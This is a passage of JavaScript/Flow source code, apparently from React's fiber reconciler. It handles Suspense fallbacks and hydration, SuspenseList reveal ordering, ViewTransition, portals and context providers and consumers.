     // final amounts. This seems counterintuitive, since we're intentionally\n      // not measuring part of the render phase, but this makes it match what we\n      // do in Concurrent Mode.\n      primaryChildFragment.actualDuration = -0;\n      primaryChildFragment.actualStartTime = -1.1;\n      primaryChildFragment.selfBaseDuration =\n        currentPrimaryChildFragment.selfBaseDuration;\n      primaryChildFragment.treeBaseDuration =\n        currentPrimaryChildFragment.treeBaseDuration;\n    }\n\n    // The fallback fiber was added as a deletion during the first pass.\n    // However, since we're going to remain on the fallback, we no longer want\n    // to delete it.\n    workInProgress.deletions = null;\n  } else {\n    primaryChildFragment = updateWorkInProgressOffscreenFiber(\n      currentPrimaryChildFragment,\n      primaryChildProps,\n    );\n    // Since we're reusing a current tree, we need to reuse the flags, too.\n    // (We don't do this in legacy mode, because in legacy mode we don't re-use\n    // the current tree; see previous branch.)\n    primaryChildFragment.subtreeFlags =\n      currentPrimaryChildFragment.subtreeFlags & StaticMask;\n  }\n  let fallbackChildFragment;\n  if (currentFallbackChildFragment !== null) {\n    fallbackChildFragment = createWorkInProgress(\n      currentFallbackChildFragment,\n      fallbackChildren,\n    );\n  } else {\n    fallbackChildFragment = createFiberFromFragment(\n      fallbackChildren,\n      mode,\n      renderLanes,\n      null,\n    );\n    // Needs a placement effect because the parent (the Suspense boundary) already\n    // mounted but this is a new fiber.\n    fallbackChildFragment.flags |= Placement;\n  }\n\n  fallbackChildFragment.return = workInProgress;\n  primaryChildFragment.return = workInProgress;\n  primaryChildFragment.sibling = fallbackChildFragment;\n  workInProgress.child = primaryChildFragment;\n\n  return bailoutOffscreenComponent(null, primaryChildFragment);\n}\n\nfunction retrySuspenseComponentWithoutHydrating(\n  current: Fiber,\n  workInProgress: Fiber,\n  renderLanes: Lanes,\n) {\n  // Falling back to client rendering. Because this has performance\n  // implications, it's considered a recoverable error, even though the user\n  // likely won't observe anything wrong with the UI.\n\n  // This will add the old fiber to the deletion list\n  reconcileChildFibers(workInProgress, current.child, null, renderLanes);\n\n  // We're now not suspended nor dehydrated.\n  const nextProps = workInProgress.pendingProps;\n  const primaryChildren = nextProps.children;\n  const primaryChildFragment = mountSuspensePrimaryChildren(\n    workInProgress,\n    primaryChildren,\n    renderLanes,\n  );\n  // Needs a placement effect because the parent (the Suspense boundary) already\n  // mounted but this is a new fiber.\n  primaryChildFragment.flags |= Placement;\n  workInProgress.memoizedState = null;\n\n  return primaryChildFragment;\n}\n\nfunction mountSuspenseFallbackAfterRetryWithoutHydrating(\n  current: Fiber,\n  workInProgress: Fiber,\n  primaryChildren: $FlowFixMe,\n  fallbackChildren: $FlowFixMe,\n  renderLanes: Lanes,\n) {\n  const fiberMode = workInProgress.mode;\n  const primaryChildProps: OffscreenProps = {\n    mode: 'visible',\n    children: primaryChildren,\n  };\n  const primaryChildFragment = mountWorkInProgressOffscreenFiber(\n    primaryChildProps,\n    fiberMode,\n    NoLanes,\n  );\n  const fallbackChildFragment = createFiberFromFragment(\n    fallbackChildren,\n    fiberMode,\n    renderLanes,\n    null,\n  );\n  // Needs a placement effect because the parent (the Suspense\n  // boundary) already mounted but this is a new fiber.\n  fallbackChildFragment.flags |= Placement;\n\n  primaryChildFragment.return = workInProgress;\n  fallbackChildFragment.return = workInProgress;\n  primaryChildFragment.sibling = fallbackChildFragment;\n  workInProgress.child = primaryChildFragment;\n\n  if (disableLegacyMode || (workInProgress.mode & ConcurrentMode) !== NoMode) {\n    // We will have dropped the effect list which contains the\n    // deletion. We need to reconcile to delete the current child.\n    reconcileChildFibers(workInProgress, current.child, null, renderLanes);\n  }\n\n  return fallbackChildFragment;\n}\n\nfunction mountDehydratedSuspenseComponent(\n  workInProgress: Fiber,\n  suspenseInstance: SuspenseInstance,\n  renderLanes: Lanes,\n): null | Fiber {\n  // During the first pass, we'll bail out and not drill into the children.\n  // Instead, we'll leave the content in place and try to hydrate it later.\n  if (isSuspenseInstanceFallback(suspenseInstance)) {\n    // This is a client-only boundary. Since we won't get any content from the server\n    // for this, we need to schedule that at a higher priority based on when it would\n    // have timed out. In theory we could render it in this pass but it would have the\n    // wrong priority associated with it and will prevent hydration of parent path.\n    // Instead, we'll leave work left on it to render it in a separate commit.\n    // Schedule a normal pri update to render this content.\n    workInProgress.lanes = laneToLanes(DefaultLane);\n  } else {\n    // We'll continue hydrating the rest at offscreen priority since we'll already\n    // be showing the right content coming from the server, it is no rush.\n    workInProgress.lanes = laneToLanes(OffscreenLane);\n  }\n  return null;\n}\n\nfunction updateDehydratedSuspenseComponent(\n  current: Fiber,\n  workInProgress: Fiber,\n  didSuspend: boolean,\n  didPrimaryChildrenDefer: boolean,\n  nextProps: SuspenseProps,\n  suspenseInstance: SuspenseInstance,\n  suspenseState: SuspenseState,\n  renderLanes: Lanes,\n): null | Fiber {\n  if (!didSuspend) {\n    // This is the first render pass. Attempt to hydrate.\n    pushPrimaryTreeSuspenseHandler(workInProgress);\n\n    // We should never be hydrating at this point because it is the first pass,\n    // but after we've already committed once.\n    warnIfHydrating();\n\n    if (includesSomeLane(renderLanes, (OffscreenLane: Lane))) {\n      // If we're rendering Offscreen and we're entering the activity then it's possible\n      // that the only reason we rendered was because this boundary left work. Provide\n      // it as a cause if another one doesn't already exist.\n      markRenderDerivedCause(workInProgress);\n    }\n\n    if (isSuspenseInstanceFallback(suspenseInstance)) {\n      // This boundary is in a permanent fallback state. In this case, we'll never\n      // get an update and we'll never be able to hydrate the final content. Let's just try the\n      // client side render instead.\n      let digest: ?string;\n      let message;\n      let stack = null;\n      let componentStack = null;\n      if (__DEV__) {\n        ({digest, message, stack, componentStack} =\n          getSuspenseInstanceFallbackErrorDetails(suspenseInstance));\n      } else {\n        ({digest} = getSuspenseInstanceFallbackErrorDetails(suspenseInstance));\n      }\n\n      let error: Error;\n      if (__DEV__ && message) {\n        // eslint-disable-next-line react-internal/prod-error-codes\n        error = new Error(message);\n      } else {\n        error = new Error(\n          'The server could not finish this Suspense boundary, likely ' +\n            'due to an error during server rendering. ' +\n            'Switched to client rendering.',\n        );\n      }\n      // Replace the stack with the server stack\n      error.stack = (__DEV__ && stack) || '';\n      (error: any).digest = digest;\n      const capturedValue = createCapturedValueFromError(\n        error,\n        componentStack === undefined ? null : componentStack,\n      );\n      queueHydrationError(capturedValue);\n      return retrySuspenseComponentWithoutHydrating(\n        current,\n        workInProgress,\n        renderLanes,\n      );\n    }\n\n    if (\n      // TODO: Factoring is a little weird, since we check this right below, too.\n      !didReceiveUpdate\n    ) {\n      // We need to check if any children have context before we decide to bail\n      // out, so propagate the changes now.\n      lazilyPropagateParentContextChanges(current, workInProgress, renderLanes);\n    }\n\n    // We use lanes to indicate that a child might depend on context, so if\n    // any context has changed, we need to treat is as if the input might have changed.\n    const hasContextChanged = includesSomeLane(renderLanes, current.childLanes);\n    if (didReceiveUpdate || hasContextChanged) {\n      // This boundary has changed since the first render. This means that we are now unable to\n      // hydrate it. We might still be able to hydrate it using a higher priority lane.\n      const root = getWorkInProgressRoot();\n      if (root !== null) {\n        const attemptHydrationAtLane = getBumpedLaneForHydration(\n          root,\n          renderLanes,\n        );\n        if (\n          attemptHydrationAtLane !== NoLane &&\n          attemptHydrationAtLane !== suspenseState.retryLane\n        ) {\n          // Intentionally mutating since this render will get interrupted. This\n          // is one of the very rare times where we mutate the current tree\n          // during the render phase.\n          suspenseState.retryLane = attemptHydrationAtLane;\n          enqueueConcurrentRenderForLane(current, attemptHydrationAtLane);\n          scheduleUpdateOnFiber(root, current, attemptHydrationAtLane);\n\n          // Throw a special object that signals to the work loop that it should\n          // interrupt the current render.\n          //\n          // Because we're inside a React-only execution stack, we don't\n          // strictly need to throw here — we could instead modify some internal\n          // work loop state. But using an exception means we don't need to\n          // check for this case on every iteration of the work loop. So doing\n          // it this way moves the check out of the fast path.\n          throw SelectiveHydrationException;\n        } else {\n          // We have already tried to ping at a higher priority than we're rendering with\n          // so if we got here, we must have failed to hydrate at those levels. We must\n          // now give up. Instead, we're going to delete the whole subtree and instead inject\n          // a new real Suspense boundary to take its place, which may render content\n          // or fallback. This might suspend for a while and if it does we might still have\n          // an opportunity to hydrate before this pass commits.\n        }\n      }\n\n      // If we did not selectively hydrate, we'll continue rendering without\n      // hydrating. Mark this tree as suspended to prevent it from committing\n      // outside a transition.\n      //\n      // This path should only happen if the hydration lane already suspended.\n      if (isSuspenseInstancePending(suspenseInstance)) {\n        // This is a dehydrated suspense instance. We don't need to suspend\n        // because we're already showing a fallback.\n        // TODO: The Fizz runtime might still stream in completed HTML, out-of-\n        // band. Should we fix this? There's a version of this bug that happens\n        // during client rendering, too. Needs more consideration.\n      } else {\n        renderDidSuspendDelayIfPossible();\n      }\n      return retrySuspenseComponentWithoutHydrating(\n        current,\n        workInProgress,\n        renderLanes,\n      );\n    } else if (isSuspenseInstancePending(suspenseInstance)) {\n      // This component is still pending more data from the server, so we can't hydrate its\n      // content. We treat it as if this component suspended itself. It might seem as if\n      // we could just try to render it client-side instead. However, this will perform a\n      // lot of unnecessary work and is unlikely to complete since it often will suspend\n      // on missing data anyway. Additionally, the server might be able to render more\n      // than we can on the client yet. In that case we'd end up with more fallback states\n      // on the client than if we just leave it alone. If the server times out or errors\n      // these should update this boundary to the permanent Fallback state instead.\n      // Mark it as having captured (i.e. suspended).\n      // Also Mark it as requiring retry.\n      workInProgress.flags |= DidCapture | Callback;\n      // Leave the child in place. I.e. the dehydrated fragment.\n      workInProgress.child = current.child;\n      return null;\n    } else {\n      // This is the first attempt.\n      reenterHydrationStateFromDehydratedSuspenseInstance(\n        workInProgress,\n        suspenseInstance,\n        suspenseState.treeContext,\n      );\n      const primaryChildren = nextProps.children;\n      const primaryChildFragment = mountSuspensePrimaryChildren(\n        workInProgress,\n        primaryChildren,\n        renderLanes,\n      );\n      // Mark the children as hydrating. This is a fast path to know whether this\n      // tree is part of a hydrating tree. This is used to determine if a child\n      // node has fully mounted yet, and for scheduling event replaying.\n      // Conceptually this is similar to Placement in that a new subtree is\n      // inserted into the React tree here. It just happens to not need DOM\n      // mutations because it already exists.\n      primaryChildFragment.flags |= Hydrating;\n      return primaryChildFragment;\n    }\n  } else {\n    // This is the second render pass. We already attempted to hydrated, but\n    // something either suspended or errored.\n\n    if (workInProgress.flags & ForceClientRender) {\n      // Something errored during hydration. Try again without hydrating.\n      // The error should've already been logged in throwException.\n      pushPrimaryTreeSuspenseHandler(workInProgress);\n      workInProgress.flags &= ~ForceClientRender;\n      return retrySuspenseComponentWithoutHydrating(\n        current,\n        workInProgress,\n        renderLanes,\n      );\n    } else if ((workInProgress.memoizedState: null | SuspenseState) !== null) {\n      // Something suspended and we should still be in dehydrated mode.\n      // Leave the existing child in place.\n\n      // Push to avoid a mismatch\n      pushFallbackTreeSuspenseHandler(workInProgress);\n\n      workInProgress.child = current.child;\n      // The dehydrated completion pass expects this flag to be there\n      // but the normal suspense pass doesn't.\n      workInProgress.flags |= DidCapture;\n      return null;\n    } else {\n      // Suspended but we should no longer be in dehydrated mode.\n      // Therefore we now have to render the fallback.\n      pushFallbackTreeSuspenseHandler(workInProgress);\n\n      const nextPrimaryChildren = nextProps.children;\n      const nextFallbackChildren = nextProps.fallback;\n      mountSuspenseFallbackAfterRetryWithoutHydrating(\n        current,\n        workInProgress,\n        nextPrimaryChildren,\n        nextFallbackChildren,\n        renderLanes,\n      );\n      const primaryChildFragment: Fiber = (workInProgress.child: any);\n      primaryChildFragment.memoizedState =\n        mountSuspenseOffscreenState(renderLanes);\n      primaryChildFragment.childLanes = getRemainingWorkInPrimaryTree(\n        current,\n        didPrimaryChildrenDefer,\n        renderLanes,\n      );\n      workInProgress.memoizedState = SUSPENDED_MARKER;\n      return bailoutOffscreenComponent(null, primaryChildFragment);\n    }\n  }\n}\n\nfunction scheduleSuspenseWorkOnFiber(\n  fiber: Fiber,\n  renderLanes: Lanes,\n  propagationRoot: Fiber,\n) {\n  fiber.lanes = mergeLanes(fiber.lanes, renderLanes);\n  const alternate = fiber.alternate;\n  if (alternate !== null) {\n    alternate.lanes = mergeLanes(alternate.lanes, renderLanes);\n  }\n  scheduleContextWorkOnParentPath(fiber.return, renderLanes, propagationRoot);\n}\n\nfunction propagateSuspenseContextChange(\n  workInProgress: Fiber,\n  firstChild: null | Fiber,\n  renderLanes: Lanes,\n): void {\n  // Mark any Suspense boundaries with fallbacks as having work to do.\n  // If they were previously forced into fallbacks, they may now be able\n  // to unblock.\n  let node = firstChild;\n  while (node !== null) {\n    if (node.tag === SuspenseComponent) {\n      const state: SuspenseState | null = node.memoizedState;\n      if (state !== null) {\n        scheduleSuspenseWorkOnFiber(node, renderLanes, workInProgress);\n      }\n    } else if (node.tag === SuspenseListComponent) {\n      // If the tail is hidden there might not be an Suspense boundaries\n      // to schedule work on. In this case we have to schedule it on the\n      // list itself.\n      // We don't have to traverse to the children of the list since\n      // the list will propagate the change when it rerenders.\n      scheduleSuspenseWorkOnFiber(node, renderLanes, workInProgress);\n    } else if (node.child !== null) {\n      node.child.return = node;\n      node = node.child;\n      continue;\n    }\n    if (node === workInProgress) {\n      return;\n    }\n    // $FlowFixMe[incompatible-use] found when upgrading Flow\n    while (node.sibling === null) {\n      // $FlowFixMe[incompatible-use] found when upgrading Flow\n      if (node.return === null || node.return === workInProgress) {\n        return;\n      }\n      node = node.return;\n    }\n    // $FlowFixMe[incompatible-use] found when upgrading Flow\n    node.sibling.return = node.return;\n    node = node.sibling;\n  }\n}\n\nfunction findLastContentRow(firstChild: null | Fiber): null | Fiber {\n  // This is going to find the last row among these children that is already\n  // showing content on the screen, as opposed to being in fallback state or\n  // new. If a row has multiple Suspense boundaries, any of them being in the\n  // fallback state, counts as the whole row being in a fallback state.\n  // Note that the \"rows\" will be workInProgress, but any nested children\n  // will still be current since we haven't rendered them yet. The mounted\n  // order may not be the same as the new order. We use the new order.\n  let row = firstChild;\n  let lastContentRow: null | Fiber = null;\n  while (row !== null) {\n    const currentRow = row.alternate;\n    // New rows can't be content rows.\n    if (currentRow !== null && findFirstSuspended(currentRow) === null) {\n      lastContentRow = row;\n    }\n    row = row.sibling;\n  }\n  return lastContentRow;\n}\n\nfunction validateRevealOrder(revealOrder: SuspenseListRevealOrder) {\n  if (__DEV__) {\n    const cacheKey = revealOrder == null ? 'null' : revealOrder;\n    if (\n      revealOrder != null &&\n      revealOrder !== 'forwards' &&\n      revealOrder !== 'backwards' &&\n      revealOrder !== 'unstable_legacy-backwards' &&\n      revealOrder !== 'together' &&\n      revealOrder !== 'independent' &&\n      !didWarnAboutRevealOrder[cacheKey]\n    ) {\n      didWarnAboutRevealOrder[cacheKey] = true;\n      if (typeof revealOrder === 'string') {\n        switch (revealOrder.toLowerCase()) {\n          case 'together':\n          case 'forwards':\n          case 'backwards':\n          case 'independent': {\n            console.error(\n              '\"%s\" is not a valid value for revealOrder on <SuspenseList />. ' +\n                'Use lowercase \"%s\" instead.',\n              revealOrder,\n              revealOrder.toLowerCase(),\n            );\n            break;\n          }\n          case 'forward':\n          case 'backward': {\n            console.error(\n              '\"%s\" is not a valid value for revealOrder on <SuspenseList />. ' +\n                'React uses the -s suffix in the spelling. Use \"%ss\" instead.',\n              revealOrder,\n              revealOrder.toLowerCase(),\n            );\n            break;\n          }\n          default:\n            console.error(\n              '\"%s\" is not a supported revealOrder on <SuspenseList />. ' +\n                'Did you mean \"independent\", \"together\", \"forwards\" or \"backwards\"?',\n              revealOrder,\n            );\n            break;\n        }\n      } else {\n        console.error(\n          '%s is not a supported value for revealOrder on <SuspenseList />. ' +\n            'Did you mean \"independent\", \"together\", \"forwards\" or \"backwards\"?',\n          revealOrder,\n        );\n      }\n    }\n  }\n}\n\nfunction validateTailOptions(\n  tailMode: SuspenseListTailMode,\n  revealOrder: SuspenseListRevealOrder,\n) {\n  if (__DEV__) {\n    const cacheKey = tailMode == null ? 'null' : tailMode;\n    if (!didWarnAboutTailOptions[cacheKey]) {\n      if (tailMode == null) {\n        // The default tail is now \"hidden\".\n      } else if (\n        tailMode !== 'visible' &&\n        tailMode !== 'collapsed' &&\n        tailMode !== 'hidden'\n      ) {\n        didWarnAboutTailOptions[cacheKey] = true;\n        console.error(\n          '\"%s\" is not a supported value for tail on <SuspenseList />. ' +\n            'Did you mean \"visible\", \"collapsed\" or \"hidden\"?',\n          tailMode,\n        );\n      } else if (\n        revealOrder != null &&\n        revealOrder !== 'forwards' &&\n        revealOrder !== 'backwards' &&\n        revealOrder !== 'unstable_legacy-backwards'\n      ) {\n        didWarnAboutTailOptions[cacheKey] = true;\n        console.error(\n          '<SuspenseList tail=\"%s\" /> is only valid if revealOrder is ' +\n            '\"forwards\" (default) or \"backwards\". ' +\n            'Did you mean to specify revealOrder=\"forwards\"?',\n          tailMode,\n        );\n      }\n    }\n  }\n}\n\nfunction initSuspenseListRenderState(\n  workInProgress: Fiber,\n  isBackwards: boolean,\n  tail: null | Fiber,\n  lastContentRow: null | Fiber,\n  tailMode: SuspenseListTailMode,\n  treeForkCount: number,\n): void {\n  const renderState: null | SuspenseListRenderState =\n    workInProgress.memoizedState;\n  if (renderState === null) {\n    workInProgress.memoizedState = ({\n      isBackwards: isBackwards,\n      rendering: null,\n      renderingStartTime: 0,\n      last: lastContentRow,\n      tail: tail,\n      tailMode: tailMode,\n      treeForkCount: treeForkCount,\n    }: SuspenseListRenderState);\n  } else {\n    // We can reuse the existing object from previous renders.\n    renderState.isBackwards = isBackwards;\n    renderState.rendering = null;\n    renderState.renderingStartTime = 0;\n    renderState.last = lastContentRow;\n    renderState.tail = tail;\n    renderState.tailMode = tailMode;\n    renderState.treeForkCount = treeForkCount;\n  }\n}\n\nfunction reverseChildren(fiber: Fiber): void {\n  let row = fiber.child;\n  fiber.child = null;\n  while (row !== null) {\n    const nextRow = row.sibling;\n    row.sibling = fiber.child;\n    fiber.child = row;\n    row = nextRow;\n  }\n}\n\n// This can end up rendering this component multiple passes.\n// The first pass splits the children fibers into two sets. A head and tail.\n// We first render the head. If anything is in fallback state, we do another\n// pass through beginWork to rerender all children (including the tail) with\n// the force suspend context. If the first render didn't have anything in\n// in fallback state. Then we render each row in the tail one-by-one.\n// That happens in the completeWork phase without going back to beginWork.\nfunction updateSuspenseListComponent(\n  current: Fiber | null,\n  workInProgress: Fiber,\n  renderLanes: Lanes,\n) {\n  const nextProps: SuspenseListProps = workInProgress.pendingProps;\n  const revealOrder: SuspenseListRevealOrder = nextProps.revealOrder;\n  const tailMode: SuspenseListTailMode = nextProps.tail;\n  const newChildren = nextProps.children;\n\n  let suspenseContext: SuspenseContext = suspenseStackCursor.current;\n\n  if (workInProgress.flags & DidCapture) {\n    // This is the second pass after having suspended in a row. Proceed directly\n    // to the complete phase.\n    pushSuspenseListContext(workInProgress, suspenseContext);\n    return null;\n  }\n\n  const shouldForceFallback = hasSuspenseListContext(\n    suspenseContext,\n    (ForceSuspenseFallback: SuspenseContext),\n  );\n  if (shouldForceFallback) {\n    suspenseContext = setShallowSuspenseListContext(\n      suspenseContext,\n      ForceSuspenseFallback,\n    );\n    workInProgress.flags |= DidCapture;\n  } else {\n    suspenseContext = setDefaultShallowSuspenseListContext(suspenseContext);\n  }\n  pushSuspenseListContext(workInProgress, suspenseContext);\n\n  validateRevealOrder(revealOrder);\n  validateTailOptions(tailMode, revealOrder);\n  validateSuspenseListChildren(newChildren, revealOrder);\n\n  if (revealOrder === 'backwards' && current !== null) {\n    // For backwards the current mounted set will be backwards. Reconciling against it\n    // will lead to mismatches and reorders. We need to swap the original set first\n    // and then restore it afterwards.\n    reverseChildren(current);\n    reconcileChildren(current, workInProgress, newChildren, renderLanes);\n    reverseChildren(current);\n  } else {\n    reconcileChildren(current, workInProgress, newChildren, renderLanes);\n  }\n  // Read how many children forks this set pushed so we can push it every time we retry.\n  const treeForkCount = getIsHydrating() ? getForksAtLevel(workInProgress) : 0;\n\n  if (!shouldForceFallback) {\n    const didSuspendBefore =\n      current !== null && (current.flags & DidCapture) !== NoFlags;\n    if (didSuspendBefore) {\n      // If we previously forced a fallback, we need to schedule work\n      // on any nested boundaries to let them know to try to render\n      // again. This is the same as context updating.\n      propagateSuspenseContextChange(\n        workInProgress,\n        workInProgress.child,\n        renderLanes,\n      );\n    }\n  }\n\n  if (!disableLegacyMode && (workInProgress.mode & ConcurrentMode) === NoMode) {\n    // In legacy mode, SuspenseList doesn't work so we just\n    // use make it a noop by treating it as the default revealOrder.\n    workInProgress.memoizedState = null;\n  } else {\n    switch (revealOrder) {\n      case 'backwards': {\n        // We're going to find the first row that has existing content.\n        // We are also going to reverse the order of anything in the existing content\n        // since we want to actually render them backwards from the reconciled set.\n        // The tail is left in order, because it'll be added to the front as we\n        // complete each item.\n        const lastContentRow = findLastContentRow(workInProgress.child);\n        let tail;\n        if (lastContentRow === null) {\n          // The whole list is part of the tail.\n          tail = workInProgress.child;\n          workInProgress.child = null;\n        } else {\n          // Disconnect the tail rows after the content row.\n          // We're going to render them separately later in reverse order.\n          tail = lastContentRow.sibling;\n          lastContentRow.sibling = null;\n          // We have to now reverse the main content so it renders backwards too.\n          reverseChildren(workInProgress);\n        }\n        // TODO: If workInProgress.child is null, we can continue on the tail immediately.\n        initSuspenseListRenderState(\n          workInProgress,\n          true, // isBackwards\n          tail,\n          null, // last\n          tailMode,\n          treeForkCount,\n        );\n        break;\n      }\n      case 'unstable_legacy-backwards': {\n        // We're going to find the first row that has existing content.\n        // At the same time we're going to reverse the list of everything\n        // we pass in the meantime. That's going to be our tail in reverse\n        // order.\n        let tail = null;\n        let row = workInProgress.child;\n        workInProgress.child = null;\n        while (row !== null) {\n          const currentRow = row.alternate;\n          // New rows can't be content rows.\n          if (currentRow !== null && findFirstSuspended(currentRow) === null) {\n            // This is the beginning of the main content.\n            workInProgress.child = row;\n            break;\n          }\n          const nextRow = row.sibling;\n          row.sibling = tail;\n          tail = row;\n          row = nextRow;\n        }\n        // TODO: If workInProgress.child is null, we can continue on the tail immediately.\n        initSuspenseListRenderState(\n          workInProgress,\n          true, // isBackwards\n          tail,\n          null, // last\n          tailMode,\n          treeForkCount,\n        );\n        break;\n      }\n      case 'together': {\n        initSuspenseListRenderState(\n          workInProgress,\n          false, // isBackwards\n          null, // tail\n          null, // last\n          undefined,\n          treeForkCount,\n        );\n        break;\n      }\n      case 'independent': {\n        // The \"independent\" reveal order is the same as not having\n        // a boundary.\n        workInProgress.memoizedState = null;\n        break;\n      }\n      // The default is now forwards.\n      case 'forwards':\n      default: {\n        const lastContentRow = findLastContentRow(workInProgress.child);\n        let tail;\n        if (lastContentRow === null) {\n          // The whole list is part of the tail.\n          // TODO: We could fast path by just rendering the tail now.\n          tail = workInProgress.child;\n          workInProgress.child = null;\n        } else {\n          // Disconnect the tail rows after the content row.\n          // We're going to render them separately later.\n          tail = lastContentRow.sibling;\n          lastContentRow.sibling = null;\n        }\n        initSuspenseListRenderState(\n          workInProgress,\n          false, // isBackwards\n          tail,\n          lastContentRow,\n          tailMode,\n          treeForkCount,\n        );\n        break;\n      }\n    }\n  }\n  return workInProgress.child;\n}\n\nfunction updateViewTransition(\n  current: Fiber | null,\n  workInProgress: Fiber,\n  renderLanes: Lanes,\n) {\n  if (workInProgress.stateNode === null) {\n    // We previously reset the work-in-progress.\n    // We need to create a new ViewTransitionState instance.\n    const instance: ViewTransitionState = {\n      autoName: null,\n      paired: null,\n      clones: null,\n      ref: null,\n    };\n    workInProgress.stateNode = instance;\n  }\n\n  const pendingProps: ViewTransitionProps = workInProgress.pendingProps;\n  if (pendingProps.name != null && pendingProps.name !== 'auto') {\n    // Explicitly named boundary. We track it so that we can pair it up with another explicit\n    // boundary if we get deleted.\n    workInProgress.flags |=\n      current === null\n        ? ViewTransitionNamedMount | ViewTransitionNamedStatic\n        : ViewTransitionNamedStatic;\n  } else {\n    // The server may have used useId to auto-assign a generated name for this boundary.\n    // We push a materialization to ensure child ids line up with the server.\n    if (getIsHydrating()) {\n      pushMaterializedTreeId(workInProgress);\n    }\n  }\n  if (__DEV__) {\n    // $FlowFixMe[prop-missing]\n    if (pendingProps.className !== undefined) {\n      const example =\n        typeof pendingProps.className === 'string'\n          ? JSON.stringify(pendingProps.className)\n          : '{...}';\n      if (!didWarnAboutClassNameOnViewTransition[example]) {\n        didWarnAboutClassNameOnViewTransition[example] = true;\n        console.error(\n          '<ViewTransition> doesn\\'t accept a \"className\" prop. It has been renamed to \"default\".\\n' +\n            '-   <ViewTransition className=%s>\\n' +\n            '+   <ViewTransition default=%s>',\n          example,\n          example,\n        );\n      }\n    }\n  }\n  if (current !== null && current.memoizedProps.name !== pendingProps.name) {\n    // If the name changes, we schedule a ref effect to create a new ref instance.\n    workInProgress.flags |= Ref | RefStatic;\n  } else {\n    markRef(current, workInProgress);\n  }\n  const nextChildren = pendingProps.children;\n  reconcileChildren(current, workInProgress, nextChildren, renderLanes);\n  return workInProgress.child;\n}\n\nfunction updatePortalComponent(\n  current: Fiber | null,\n  workInProgress: Fiber,\n  renderLanes: Lanes,\n) {\n  pushHostContainer(workInProgress, workInProgress.stateNode.containerInfo);\n  const nextChildren = workInProgress.pendingProps;\n  if (current === null) {\n    // Portals are special because we don't append the children during mount\n    // but at commit. Therefore we need to track insertions which the normal\n    // flow doesn't do during mount. This doesn't happen at the root because\n    // the root always starts with a \"current\" with a null child.\n    // TODO: Consider unifying this with how the root works.\n    workInProgress.child = reconcileChildFibers(\n      workInProgress,\n      null,\n      nextChildren,\n      renderLanes,\n    );\n  } else {\n    reconcileChildren(current, workInProgress, nextChildren, renderLanes);\n  }\n  return workInProgress.child;\n}\n\nlet hasWarnedAboutUsingNoValuePropOnContextProvider = false;\n\nfunction updateContextProvider(\n  current: Fiber | null,\n  workInProgress: Fiber,\n  renderLanes: Lanes,\n) {\n  const context: ReactContext<any> = workInProgress.type;\n  const newProps = workInProgress.pendingProps;\n  const newValue = newProps.value;\n\n  if (__DEV__) {\n    if (!('value' in newProps)) {\n      if (!hasWarnedAboutUsingNoValuePropOnContextProvider) {\n        hasWarnedAboutUsingNoValuePropOnContextProvider = true;\n        console.error(\n          'The `value` prop is required for the `<Context.Provider>`. Did you misspell it or forget to pass it?',\n        );\n      }\n    }\n  }\n\n  pushProvider(workInProgress, context, newValue);\n\n  const newChildren = newProps.children;\n  reconcileChildren(current, workInProgress, newChildren, renderLanes);\n  return workInProgress.child;\n}\n\nfunction updateContextConsumer(\n  current: Fiber | null,\n  workInProgress: Fiber,\n  renderLanes: Lanes,\n) {\n  const consumerType: ReactConsumerType<any> = workInProgress.type;\n  const context: ReactContext<any> = consumerType._context;\n  const newProps = workInProgress.pendingProps;\n  const render = newProps.children;\n\n  if (__DEV__) {\n    if (typeof render !== 'function') {\n      console.error(\n        'A context consumer was rendered with multiple children, or a child ' +\n          \"that isn't a function. A context consumer expects a single child \" +\n          'that is a function. If you did pass a function, make sure there ' +\n          'is no trailing or leading whitespace around it.',\n      );\n    }\n  }\n\n  prepareToReadContext(workInProgress, renderLanes);\n  const newValue = readContext(context);\n  if (enableSchedulingProfiler) {\n    markComponentRenderStarted(workInProgress);\n  }\n  let newChildren;\n  if (__DEV__) {\n    newChildren = callComponentInDEV(render, newValue, undefined);\n  } else {\n    newChildren = render(newValue);\n  }\n  if (enableSchedulingProfiler) {\n    markComponentRenderStopped();\n  }\n\n  // React DevTools reads this flag.\n  workInProgress.flags |= PerformedWork;\n  reconcileChildren(current, workInProgress, newChildren, renderLanes);\n  return workInProgress.child;\n}\n\nfunction updateScopeComponent(\n  current: null | Fiber,\n  workInProgress: Fiber,\n  renderLanes: Lanes,\n) {\n  const nextProps = workInProgress.pendingProps;\n  const nextChildren = nextProps.children;\n  markRef(current, workInProgress);\n  reconcileChildren(current, workInProgress, nextChildren, renderLanes);\n  return workInProgress.child;\n}\n\nexport function markWorkInProgressReceivedUpdate() {\n  didReceiveUpdate = true;\n}\n\nexport function checkIfWorkInProgressReceivedUpdate(): boolean {\n  return didReceiveUpdate;\n}\n\nfunction resetSuspendedCurrentOnMountInLegacyMode(\n  current: null | Fiber,\n  workInProgress: Fiber,\n) {\n  if (!disableLegacyMode && (workInProgress.mode & ConcurrentMode) === NoMode) {\n    if (current !== null) {\n      // A lazy component only mounts if it suspended inside a non-\n      // concurrent tree, in an inconsistent state. We want to treat it like\n      // a new mount, even though an empty version of it already committed.\n      // Disconnect the alternate pointers.\n      current.alternate = null;\n      workInProgress.alternate = null;\n      // Since this is conceptually a new fiber, schedule a Placement effect\n      workInProgress.flags |= Placement;\n    }\n  }\n}\n\nfunction bailoutOnAlreadyFinishedWork(\n  current: Fiber | null,\n  workInProgress: Fiber,\n  renderLanes: Lanes,\n): Fiber | null {\n  if (current !== null) {\n    // Reuse previous dependencies\n    workInProgress.dependencies = current.dependencies;\n  }\n\n  if (enableProfilerTimer) {\n    // Don't update \"base\" render times for bailouts.\n    stopProfilerTimerIfRunning(workInProgress);\n  }\n\n  markSkippedUpdateLanes(workInProgress.lanes);\n\n  // Check if the children have any pending work.\n  if (!includesSomeLane(renderLanes, workInProgress.childLanes)) {\n    // The children don't have any work either. We can skip them.\n    // TODO: Once we add back resuming, we should check if the children are\n    // a work-in-progress set. If so, we need to transfer their effects.\n\n    if (current !== null) {\n      // Before bailing out, check if there are any context changes in\n      // the children.\n      lazilyPropagateParentContextChanges(current, workInProgress, renderLanes);\n      if (!includesSomeLane(renderLanes, workInProgress.childLanes)) {\n        return null;\n      }\n    } else {\n      return null;\n    }\n  }\n\n  // This fiber doesn't have work, but its subtree does. Clone the child\n  // fibers and continue.\n  cloneChildFibers(current, workInProgress);\n  return workInProgress.child;\n}\n\nfunction remountFiber(\n  current: Fiber,\n  oldWorkInProgress: Fiber,\n  newWorkInProgress: Fiber,\n): Fiber | null {\n  if (__DEV__) {\n    const returnFiber = oldWorkInProgress.return;\n    if 